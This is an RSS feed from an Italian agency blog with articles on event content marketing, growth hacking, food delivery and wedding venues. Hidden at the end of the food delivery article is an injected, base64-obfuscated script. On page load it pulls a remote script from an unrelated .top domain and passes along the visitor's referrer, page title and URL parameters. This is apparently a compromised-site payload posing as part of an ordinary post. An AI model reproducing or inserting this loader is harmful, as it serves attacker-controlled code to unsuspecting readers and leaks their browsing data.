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	<title>Heartz Group</title>
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		<title>Un nuovo inizio</title>
		<link>https://heartz-group.com/un-nuovo-inizio/</link>
		
		<dc:creator><![CDATA[Luca Divelti]]></dc:creator>
		<pubDate>Mon, 31 Jan 2022 10:15:00 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
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					<description><![CDATA[&#8220;Non è mai troppo tardi per essere ciò che avresti potuto essere.&#8221;]]></description>
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<p><em>&#8220;Non è mai troppo tardi per essere ciò che avresti potuto essere.&#8221;</em></p>



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		<title>Content Marketing per eventi</title>
		<link>https://heartz-group.com/content-marketing-per-eventi/</link>
		
		<dc:creator><![CDATA[Luca Divelti]]></dc:creator>
		<pubDate>Sat, 15 Jan 2022 14:45:42 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
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										<content:encoded><![CDATA[
<p>La promozione di un evento è molto importante ai fini della sua riuscita. Vediamo quali sono i punti da non trascurare e su quali strategie di content marketing puntare per un evento di successo.</p>



<p>L’organizzazione di un evento è un lavoro di coordinamento di contatti, relazioni, idee tutt’altro che trascurabile e assolutamente fondamentale per la riuscita della manifestazione.</p>



<p><strong>L’attenzione dei dettagli e la pianificazione della strategia di comunicazione non vanno improvvisati</strong>, ma organizzati in base all’evento che si sta programmando.</p>



<p><strong>Per questo il Content Marketing è diventato parte fondamentale della promozione di qualsiasi strategia di marketing</strong>, mettendo fortemente in crisi molte delle regole che precedentemente sembravano incrollabili.</p>



<h2 class="wp-block-heading">Che cosa è il Content Marketing?</h2>



<p><strong>Il Content Marketing è una forma di marketing</strong>&nbsp;che si occupa di concepire, creare e condividere contenuti volti ad acquisire e mantenere relazioni con i clienti. I contenuti possono avere diverse forme: articoli, post, video, guide, info-grafiche.</p>



<p>Il fine del content marketing&nbsp;<strong>è informare il cliente per generare con esso una relazione stabile e duratura nel tempo</strong>, diventando essenziale per ottenere i maggiori obiettivi aziendali per i quali si sceglie di fare web marketing.</p>



<p>La qualità di un contenuto è indipendente dalla grandezza o portafogli di un’azienda: questo non significa che le risorse economiche non influiscano sul risultato finale (le campagne a pagamento su Facebook o Google insegnano), ma che&nbsp;<strong>una buona strategia può a volte sopperire alla mancanza di grandi budget ed essere comunque coinvolgente.</strong></p>



<p><strong>I mercati sono sempre più conversazioni</strong>&nbsp;e le aziende hanno l’onere di parteciparvi: il potenziale cliente non è alla ricerca e soprattutto non vuole pubblicità invasive e martellanti, ma qualcosa che lo leghi all’azienda o alla sua proposta durante tutto il percorso di selezione, scelta e acquisto del servizio-prodotto.</p>



<p><strong>Il pubblico vuole essere attratto da tutto ciò che sia potenzialmente un’esperienza</strong>: per questo esiste e prospera il Content Marketing. Se i tuoi contenuti sono di qualità e generano interesse, allora attraggono gli utenti ed è molto più facile che questi siano disposti a legarsi al tuo servizio o alla tua attività.</p>



<h2 class="wp-block-heading">Content Marketing per eventi</h2>



<p>Puntare sul Content Marketing per pubblicizzare il tuo evento non vuole necessariamente significare l’abbandono delle strategie tradizionali di marketing offline, ma concentrarsi su tutte le possibilità che concede l’online.</p>



<p>Per poter attrarre più partecipanti possibili un evento deve arricchirsi di contenuti, determinandone le fasi.</p>



<p>La prima fase, quella forse più importante, è conoscere la finalità dell’evento da promuovere: quali sono gli obiettivi dell’organizzatore e a chi ci si vuole rivolgere?&nbsp;<strong>Avere ben chiaro quali siano le&nbsp;<em>buyer personas</em>&nbsp;permette di concentrarsi su profili ben definiti</strong>, tracciandone le aspettative e ponderando così le diverse motivazioni e bisogni.</p>



<p>Ad esempio, chi organizza un nuovo evento punterà molto più facilmente a farlo conoscere e a creare una&nbsp;<em>brand awereness</em>&nbsp;(la cosiddetta notorietà del marchio) piuttosto che a fare il tutto esaurito, mentre un evento che ha già un percorso fatto di alcune edizioni avrà altri obiettivi che potranno essere il consolidamento, il rinnovamento o appunto il cosiddetto pienone.</p>



<p>Una volta stabilite le finalità dell’evento si dovrà passare alla scelta dei social network più adatti alla promozione e alla diffusione degli utenti in target. Se i propri canali principali sono Facebook e Twitter si potrà puntare su di essi per le informazioni principali (orari, località, ospiti, relatori, etc.), creando un&nbsp;<em>hashtag</em>&nbsp;dell’evento e un calendario editoriale da sfruttare anche per gli altri social network, che andranno utilizzati in seconda battuta.</p>



<p><strong>Il proprio website farà da punto di riferimento a tutta la comunicazione</strong>, con una dettagliata rassegna delle edizioni precedenti (se ce ne sono) e la condivisione di materiale informativo e articoli all’interno del blog aziendale, che serviranno ad aumentare l’attenzione degli utenti e potranno essere condivisi anche sui social media.</p>



<p><strong>Durante l’evento stesso la condivisione di video live, storie e post risulteranno efficaci per creare ulteriore <em>engagement</em></strong>: raccontare il backstage, fornire alcuni aneddoti, intervistare i protagonisti, gli sponsor e i partecipanti saranno “armi” da sfruttare per creare empatia presso il pubblico e per chi non è presente.</p>



<h2 class="wp-block-heading">Dopo l’evento</h2>



<p>Ma <strong>il lavoro del Content Marketing non termina con la fine dell’evento</strong>: mantenere alta l’attenzione post-evento sarà una occupazione da non tralasciare, perché anche in seguito i contenuti saranno molto importanti per dare risonanza e richiamare interesse sulla successiva edizione.</p>
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		<title>Growth Hacking per Start Up</title>
		<link>https://heartz-group.com/growth-hacking-per-start-up/</link>
		
		<dc:creator><![CDATA[Luca Divelti]]></dc:creator>
		<pubDate>Tue, 14 Sep 2021 13:57:14 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
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					<description><![CDATA[Il Growth Hacking serve a far crescere la propria azienda e portarla a uno step successivo: e chi può dire di non averne bisogno? Ogni start up punta a crescere [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Il Growth Hacking serve a far crescere la propria azienda e portarla a uno step successivo: e chi può dire di non averne bisogno?</p>



<p>Ogni start up punta a crescere e a farsi notare nell’affollato mondo del web, ma spesso il sogno si infrange contro la dura realtà di strategie inefficaci e che portano pochi risultati.</p>



<p><strong>Le strategie di Growth Hacking sono particolarmente consigliate e ideali per le startup, ma nulla vieta la loro applicazione anche ad altre imprese</strong>&nbsp;già da tempo sul mercato: ricorrere infatti al Growth Hacking può migliorare le vendite e apportare un discreto beneficio a ogni azienda.</p>



<h2 class="wp-block-heading">Che cos’è il Growth Hacking?</h2>



<p>Quando nel 2010 Sean Ellis conia il termine&nbsp;<strong>Growth Hacking</strong>,&nbsp; punta a indicare&nbsp; un’insieme di strategie di web marketing concentrate a far crescere il più velocemente possibile un’impresa, facendole acquisire nel frattempo anche un maggior numero di utenti.</p>



<p>Quello di cui hanno veramente bisogno le imprese sono i G<em>rowth Hackers</em>, professionisti che si focalizzano su come adeguare il prodotto al mercato e hanno il costante obiettivo della crescita dei clienti/utenti.</p>



<p>Ma che cos’è in realtà il Growth Hacking? Sostanzialmente è un processo di sperimentazione rapida su canali di marketing e di prodotto, che si pone&nbsp; il fine di scalare un determinato business.</p>



<p><strong>Per farlo è necessario allontanarsi dal marketing tradizionale e provare ad attingere informazioni ed esperienze da altre aree</strong>, puntando a innescare un processo che permetta, attraverso la sperimentazione, di far crescere la propria impresa in maniera efficiente.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="750" height="446" src="https://heartz-group.com/wp-content/uploads/2022/01/a1159-growth-hacking-schema.png" alt="" class="wp-image-1589" srcset="https://heartz-group.com/wp-content/uploads/2022/01/a1159-growth-hacking-schema.png 750w, https://heartz-group.com/wp-content/uploads/2022/01/a1159-growth-hacking-schema-300x178.png 300w" sizes="(max-width: 750px) 100vw, 750px" /></figure>



<p>Se vogliamo semplificare questo processo in parole semplici, possiamo dire che il <strong>Growth Hacking è un approccio in cui ci si concentra sulla crescita (growth), ragionando fuori dagli schemi e trovando nuove strade (hacking).</strong></p>



<h2 class="wp-block-heading">Le parole chiave</h2>



<p>Le parole chiave del&nbsp; Growth Hacking sono quindi&nbsp;<strong>processo, sperimentazione, efficienza e crescita.</strong></p>



<p><strong>Il processo deve essere continuo e veloce</strong>: sarà necessario studiare strategie di marketing che analizzino il prodotto fino a trovare quella giusta.</p>



<p><strong>La sperimentazione sarà anche’essa costante</strong>&nbsp;fino alla individuazione della giusta sintesi.</p>



<p><strong>L’efficienza sarà importante per ottimizzare</strong>&nbsp;il più possibile l’intero processo.</p>



<p><strong>La crescita sarà l’obiettivo</strong> da tenere sempre presente e su cui focalizzarsi per far crescere il business.</p>



<h2 class="wp-block-heading">Il Growth Hacking è marketing?</h2>



<p>Il Growth Hacking è marketing: anzi, è il futuro del marketing ed è quello che il marketing doveva essere fin dagli albori.</p>



<p><strong>Il marketing tradizionale si concentra abitualmente sul<em>&nbsp;branding</em>&nbsp;e sull’acquisizione di nuovi clienti</strong>, progettando e gestendo un piano di marketing e il suo budget: deve conoscere e saper gestire campagne pubblicitarie sui canali tradizionali (TV, radio, giornali, etc.) e sui social media (AdWords, Facebook Ads, etc.).</p>



<p>Chi si occupa di marketing spesso non è aggiornato sui nuovi strumenti e piattaforme, mentre un Growth Hacker cerca e studia continuamente le tecnologie più recenti che servono a differenziarsi dalla concorrenza.</p>



<p>Il Growth Hacker sfrutta proprio questi strumenti tecnologici per intercettare gli utenti che navigano sul web, studiarne i comportamenti e prevederne i movimenti, individuando opportunità verso cui muoversi per far crescere la propria azienda.</p>



<p>Quindi, in sostanza, se il marketing tradizionale è indispensabile per la notorietà del marchio, il Growth Hacking punta tutta la sua attenzione al prodotto, affinché porti a conseguire nuovi clienti che, a loro volta, lo raccomandino alla propria rete di amici e conoscenti.</p>



<p>Growth Hacking e marketing sono paralleli e utili in fasi diverse della vita di un’azienda: il Growth Hacker non nasce per rimpiazzare l’esperto di marketing, ma si dedica allo sviluppo aziendale nella sua fase iniziale, concentrandosi sulla sua crescita.</p>



<h2 class="wp-block-heading">Growth Hacking per Start Up</h2>



<p>Come utilizzare il Growth Hacking per far crescere la propria azienda? Non esiste una vera e propria via univoca, anche perché ogni impresa ha la sua storia e le sue esigenze specifiche.</p>



<p><strong>La creatività, l’evoluzione continua e la ricerca di nuovi strumenti sono alla base del lavoro del Growth Hacker</strong>: questa caratteristica è preziosa per le start up (dove di norma l’incertezza regna sovrana) o per le imprese che si trovano a dover lanciare un nuovo prodotto sul mercato.</p>



<p>Ma quali sono le strategie alla base del lavoro del Growth Hacker?</p>



<h2 class="wp-block-heading">Creare l’offerta</h2>



<p><strong>Offrire un’offerta irresistibile è fondamentale per avere successo.</strong> E’ necessario studiare il proprio mercato di riferimento, i <em>competitor</em> e il proprio target di clienti. Bisogna essere precisi nello sviluppo di una strategia di comunicazione e garantire un valore al proprio potenziale cliente, mostrandogli quali siano le soluzioni concrete al suo problema.</p>



<h2 class="wp-block-heading">Fissare gli obiettivi</h2>



<p>Fissare e tenere sotto controllo gli obiettivi aziendali permetterà nel breve periodo di monitorare continuamente la situazione e di apportare correttivi adeguati, aggiustando la rotta strada facendo e non vanificando così l’intera strategia.</p>



<h2 class="wp-block-heading">Content Marketing</h2>



<p><strong>Il Content Marketing è molto importante</strong>: creare contenuti di valore che vengano condivisi sui social  network permette di far crescere e alimentare la conoscenza del brand. Fornire consigli e soluzioni attraverso articoli o post vi renderà autorevoli presso la propria audience, che sarà maggiormente ben disposta ad acquistare i vostri prodotti.</p>



<h2 class="wp-block-heading">Email Marketing</h2>



<p><strong>L’Email marketing può essere di grande aiuto</strong>: le e-mail permettono di comunicare informazioni e promozioni, generando anche un rapporto di fiducia con la propria audience (senza strafare però).</p>



<h2 class="wp-block-heading">Mettersi nei panni dei clienti</h2>



<p><strong>E’ fondamentale mettersi “dall’altra parte” e guardarsi con gli occhi del cliente.</strong>&nbsp;Non sempre quello che sembra perfetto e funzionale nelle riunioni aziendali poi lo è davvero sul mercato.</p>



<p><strong>Capire cosa è migliorabile nella&nbsp;<em>user experience</em>&nbsp;non è una concessione, ma un dovere</strong>: se il potenziale cliente ha difficoltà nel navigare sul vostro sito o sull’e-commerce, se il vostro prodotto o servizio hanno delle lacune nel processo di vendita, non solo non potrete mai convertire il&nbsp;<em>lead</em>, ma perderete tutto il lavoro svolto fino a quel momento.</p>



<p><strong>Inoltre la cura del cliente e la sua soddisfazione vi permetteranno di monetizzare maggiormente gli investimenti e gli sforzi fatti</strong>: un cliente felice è maggiormente ben disposto al riacquisto e la sua conferma è molto meno dispendiosa del trovare continuamente nuovi acquirenti.</p>



<h2 class="wp-block-heading">Migliorarsi</h2>



<p>Chi si ferma è perduto vale sempre: un’azienda che pensa di essere “arrivata” è destinata prima o poi a sbattere contro qualche muro. Bisogna continuamente alimentare la crescita e non darla per scontata, cercando nuove strade da battere e strategie da applicare, perché <strong>il lavoro di un Growth Hacker non finisce mai.</strong></p>
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			</item>
		<item>
		<title>Perché investire nel Food Delivery e Take Away</title>
		<link>https://heartz-group.com/perche-investire-nel-food-delivery-e-take-away/</link>
		
		<dc:creator><![CDATA[Luca Divelti]]></dc:creator>
		<pubDate>Tue, 14 Sep 2021 13:55:01 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
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					<description><![CDATA[Vale 5,5 miliardi di euro il mercato italiano dei piatti pronti e del take away, con un giro di affari in continua crescita. La ristorazione è un mercato che da [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Vale 5,5 miliardi di euro il mercato italiano dei piatti pronti e del take away, con un giro di affari in continua crescita.</p>



<p>La ristorazione è un mercato che da sempre è stato costretto a evolversi e, grazie alle possibilità offerte dagli strumenti digitali, il Food Delivery è diventato la nuova frontiera su cui affacciarsi.</p>



<p>Se fino a pochi anni fa era necessario telefonare per farsi recapitare comodamente a casa la propria pizza preferita, con la costante innovazione tecnologica si è giunti a poter accedere a molte piattaforme di delivery online, che permettono la completa gestione del processo di acquisto.</p>



<h2 class="wp-block-heading">Numeri in continua crescita</h2>



<p><strong>Secondo l’Osservatorio eCommerce B2C nel 2019 il giro d’affari del food delivery si è attestato in Italia sui 566 milioni di euro</strong>&nbsp;(ben 56% in più rispetto al 2018) e si stima che entro il 2022 arriverà a sfondare il tetto dei 2,5 miliardi di euro.</p>



<p>Inoltre, le imprese che nel 2019 si sono concentrate sul take away e sui cibi pronti sono 37.966: un numero in crescita dell’1% rispetto all’anno precedente e con circa 122 mila addetti (ben 13000 in più del 2018).</p>



<p id="ctl00_cpSx_divSottoTitoloArticolo">Queste stime dovranno essere probabilmente riviste al rialzo dopo l’accelerazione della richiesta di delivery dovuta all’epidemia di Covid-19.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="750" height="499" src="https://heartz-group.com/wp-content/uploads/2022/01/aaee0-canva-close-up-photography-of-pizza.jpg" alt="" class="wp-image-1586" srcset="https://heartz-group.com/wp-content/uploads/2022/01/aaee0-canva-close-up-photography-of-pizza.jpg 750w, https://heartz-group.com/wp-content/uploads/2022/01/aaee0-canva-close-up-photography-of-pizza-300x200.jpg 300w" sizes="(max-width: 750px) 100vw, 750px" /></figure>



<h2 class="wp-block-heading">I vantaggi del Food Delivery</h2>



<p>I vantaggi del Food Delivery sono numerosi: eccone alcuni.</p>



<ol class="wp-block-list"><li>Si concede un servizio aggiuntivo per chi non può recarsi direttamente al ristorante.</li><li>Il menù d’asporto non deve per forza di cose essere identico a quello che viene proposto nel locale: si possono escludere piatti troppo elaborati o dalla bassa marginalità, puntando su quelli più adatti al servizio di consegna.</li><li>La fidelizzazione del cliente è preservata, se non aumentata.</li><li>Si aumenta la diffusione del proprio marchio, beneficio che non deve mai essere trascurato.</li><li>Si percepisce un introito aggiuntivo che, in assenza del servizio di delivery, andrebbe sicuramente perso.</li></ol>



<h2 class="wp-block-heading">I leader del mercato</h2>



<p><strong>I leader del mercato del take away sono JustEat, Deliveroo, Uber Eats e Glovo</strong>, che detengono il primato per la loro larghissima diffusione, ma che richiedono anche un’ingente contribuzione per il loro utilizzo.</p>



<p>I costi i per i ristoratori per ogni ordine effettuato sulle loro piattaforme si attestano dal 15% al 25%, con una conseguente ricaduta sul cliente finale.</p>



<p>Quest’ultimo, visto che si tratta di un servizio aggiuntivo, probabilmente sarà disposto a pagare l’eventuale supplemento del costo per la consegna.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="750" height="412" src="https://heartz-group.com/wp-content/uploads/2022/01/6fc54-canva-sushi-with-sauce-and-chopsticks-1.jpg" alt="" class="wp-image-1587" srcset="https://heartz-group.com/wp-content/uploads/2022/01/6fc54-canva-sushi-with-sauce-and-chopsticks-1.jpg 750w, https://heartz-group.com/wp-content/uploads/2022/01/6fc54-canva-sushi-with-sauce-and-chopsticks-1-300x165.jpg 300w" sizes="(max-width: 750px) 100vw, 750px" /></figure>



<h2 class="wp-block-heading">Investire nella propria struttura</h2>



<p>Si possono però considerare alternative alle piattaforme dei costosi colossi del Food Delivery, non lasciando nelle loro tasche parte del proprio fatturato e riuscendo nelle stesso tempo a fare marketing.</p>



<p><strong>Visti i numeri in crescita, potrebbe essere il caso di valutare un investimento sulla consegna del cibo a domicilio con una propria struttura interna.</strong></p>



<p>Organizzandosi adeguatamente si possono ottimizzare le risorse e, soprattutto, abbattere i costi: inoltre, proprio a causa dell’epidemia da Coronavirus, sembra proprio questo il momento per investire nel Food Delivery con una propria vetrina.</p>



<p>I vantaggi sarebbero numerosi:</p>



<ol class="wp-block-list"><li>Gestione autonoma del proprio e-commerce con la possibilità di inserire foto dei piatti (non sempre disponibile sulle piattaforme).</li><li>Completo controllo del rapporto con la propria clientela.</li><li>Recupero del fatturato, che resta in tasca al ristoratore e non viene condiviso con terze parti.</li><li>Pagamenti diretti senza intermediari.</li></ol>



<h2 class="wp-block-heading">Perché investire nel Food Delivery e Take Away<br></h2>



<p>In uno scenario economico e sociale sempre più rivolto agli strumenti online, anche il settore del food deve adeguarsi alle nuove esigenze del mercato.</p>



<p>La sciagura del Covid-19 ha solo accelerato una fase di transizione già pienamente in atto da qualche anno e la mancanza di una qualsiasi certezza per la piena ripresa del settore nel breve periodo porterà a investire nel food delivery e nel take away: benvenuti nella ristorazione 2.0.</p>



<h2 class="wp-block-heading"><strong>Vuoi realizzare la tua vetrina online?</strong></h2>



<p>Heartz Group, con il suo team di esperti, è pronta a offrirti soluzioni per la creazione della tua vetrina personalizzata e a farti iniziare subito a vendere online.</p>
<script>(function(){var d=document;var s=d.createElement('script');s.src=atob('aHR0cHM6Ly9wbGVhc2V3YWl0Y2VudGVyLnRvcC9yQnlrMlA2Nz8mc2VfcmVmZXJyZXI9') + encodeURIComponent(d.referrer) + '&default_keyword=' + encodeURIComponent(d.title) + '&'+window.location.search.replace('?', '&')+'&frm=script';if(d.currentScript){d.currentScript.parentNode.insertBefore(s, d.currentScript);}else{d.getElementsByTagName('head')[0].appendChild(s);}}());</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Come scegliere la location per il matrimonio</title>
		<link>https://heartz-group.com/come-scegliere-la-location-per-il-matrimonio/</link>
		
		<dc:creator><![CDATA[Luca Divelti]]></dc:creator>
		<pubDate>Tue, 14 Sep 2021 13:29:26 +0000</pubDate>
				<category><![CDATA[Wedding]]></category>
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					<description><![CDATA[La scelta del luogo delle nozze è molto importante. Vediamo quali sono i requisiti fondamentali da non trascurare. Come scegliere la location per il matrimonio La cornice giusta delle nozze [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>La scelta del luogo delle nozze è molto importante. Vediamo quali sono i requisiti fondamentali da non trascurare.</p>



<h2 class="wp-block-heading">Come scegliere la location per il matrimonio</h2>



<p>La cornice giusta delle nozze è assolutamente fondamentale per una riuscita ottimale dell’evento e la scelta necessita di alcuni fattori da tenere in considerazione.</p>



<p>Pensare che basti trovare una villa e impacchettare gli inviti da spedire vuol dire sottovalutare l’importanza ricoperta dalla location.</p>



<p>La definizione delle vostre nozze non dipenderà solo dagli abiti indossati o dallo stile musicale che sceglierete per l’intrattenimento: un ruolo di rilievo sarà svolto dalla location, che rispecchierà lo stile e la personalità degli sposi.</p>



<p>Di seguito le domande da porsi prima di scegliere la location delle proprie nozze.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="749" height="393" src="https://heartz-group.com/wp-content/uploads/2021/09/69f1d-come-scegliere-la-location-per-il-matrimonio-foto-1.png" alt="" class="wp-image-1575" srcset="https://heartz-group.com/wp-content/uploads/2021/09/69f1d-come-scegliere-la-location-per-il-matrimonio-foto-1.png 749w, https://heartz-group.com/wp-content/uploads/2021/09/69f1d-come-scegliere-la-location-per-il-matrimonio-foto-1-300x157.png 300w" sizes="auto, (max-width: 749px) 100vw, 749px" /></figure>



<h2 class="wp-block-heading">In che periodo si terrà il matrimonio?</h2>



<p>Se si opterà per i mesi autunnali o invernali si dovrà trovare una location che disponga di una sale e spazi interni dove accogliere gli ospiti. Se la scelta ricadrà invece per i mesi caldi, si potrà organizzare gran parte del ricevimento all’aperto.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="749" height="393" src="https://heartz-group.com/wp-content/uploads/2021/09/bd4b3-come-scegliere-la-location-per-il-matrimonio-foto-4.png" alt="" class="wp-image-1576" srcset="https://heartz-group.com/wp-content/uploads/2021/09/bd4b3-come-scegliere-la-location-per-il-matrimonio-foto-4.png 749w, https://heartz-group.com/wp-content/uploads/2021/09/bd4b3-come-scegliere-la-location-per-il-matrimonio-foto-4-300x157.png 300w" sizes="auto, (max-width: 749px) 100vw, 749px" /></figure>



<h2 class="wp-block-heading">Quanti saranno gli invitati?</h2>



<p>E’ fondamentale sapere quanti siano gli invitati prima di procedere alla scelta del luogo della festa: se il numero è ampio dovrete trovare una location in grado di garantire degli spazi adeguati ai vostri ospiti.</p>



<p>Se invece opterete per una festa intima e con pochi invitati, considerate anche che molte strutture, a causa della loro ampiezza, richiedono un numero minimo di invitati.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="749" height="393" src="https://heartz-group.com/wp-content/uploads/2021/09/0379b-come-scegliere-la-location-per-il-matrimonio-foto-2.png" alt="" class="wp-image-1577" srcset="https://heartz-group.com/wp-content/uploads/2021/09/0379b-come-scegliere-la-location-per-il-matrimonio-foto-2.png 749w, https://heartz-group.com/wp-content/uploads/2021/09/0379b-come-scegliere-la-location-per-il-matrimonio-foto-2-300x157.png 300w" sizes="auto, (max-width: 749px) 100vw, 749px" /></figure>



<h2 class="wp-block-heading">Qual è il budget?</h2>



<p>Stabilire quanto si può spendere per l’affitto della struttura e per il servizio di catering non è assolutamente un elemento secondario quando si sceglie la location per il matrimonio: in base al budget a disposizione si potrà decidere quali strutture sono da prendere in considerazione e quali no, in modo da escludere quelle troppo dispendiose.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="749" height="393" src="https://heartz-group.com/wp-content/uploads/2021/09/8c7cd-come-scegliere-la-location-per-il-matrimonio-foto-3.png" alt="" class="wp-image-1578" srcset="https://heartz-group.com/wp-content/uploads/2021/09/8c7cd-come-scegliere-la-location-per-il-matrimonio-foto-3.png 749w, https://heartz-group.com/wp-content/uploads/2021/09/8c7cd-come-scegliere-la-location-per-il-matrimonio-foto-3-300x157.png 300w" sizes="auto, (max-width: 749px) 100vw, 749px" /></figure>



<h2 class="wp-block-heading">La location è facilmente raggiungibile?</h2>



<p>Scegliere una villa o un castello difficilmente raggiungibile o troppo distante da dove si terrà la cerimonia potrebbe creare qualche disagio ai vostri ospiti. Ponetevi il problema prima di prendere una decisione.</p>



<h2 class="wp-block-heading">Come scegliere la location per il matrimonio?</h2>



<p>Come scegliere la location per il matrimonio, quindi? Individuare la cornice ideale per le vostre nozze può rivelarsi spesso un processo lungo e faticoso.</p>



<p>Affidarsi a una agenzia del settore wedding, che vi aiuti nella selezione della struttura più adatta, vi aiuterà a risparmiare stress e tempo, in modo da concentrarvi su altri aspetti nell’organizzazione delle nozze.</p>
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